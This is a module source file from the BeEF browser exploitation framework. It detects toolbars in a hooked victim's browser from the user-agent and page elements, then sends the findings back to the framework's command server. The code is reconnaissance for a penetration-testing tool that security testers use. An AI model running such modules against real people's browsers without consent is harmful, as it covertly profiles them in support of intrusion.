Path: blob/master/modules/browser/detect_toolbars/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var toolbar_ua = new Array (9new Array (" Alexa Toolbar", " Alexa"),10new Array (" AskTbS-PV", " Ask"),11new Array (" BRI", " Bing"),12new Array (" GTB", " Google"),13new Array (" SU ", " Stumble Upon")14)1516var toolbar_id = new Array (17new Array ("AlexaCustomScriptId", " Alexa")18)1920var result = '';21var separator = ", ";2223// CHECK USER-AGENT24for (var i = 0; i < toolbar_ua.length; i++) {2526var agentRegex = new RegExp( toolbar_ua[i][0], 'g' );2728if ( agentRegex.exec(navigator.userAgent) ) {2930result += toolbar_ua[i][1] + separator;3132}33}3435// CHECK ELEMENT ID (DOM)36for (var i = 0; i < toolbar_id.length; i++) {3738var element = document.getElementById( toolbar_id[i][0] );3940if ( typeof(element) != 'undefined' && element != null ) {4142result += toolbar_id[i][1] + separator;4344}45}4647// ENDING48if ( result != '' ) {4950result = result.slice(0, -separator.length);5152} else if ( result == '' ) {5354result = " no toolbars detected";5556}5758beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result);5960});6162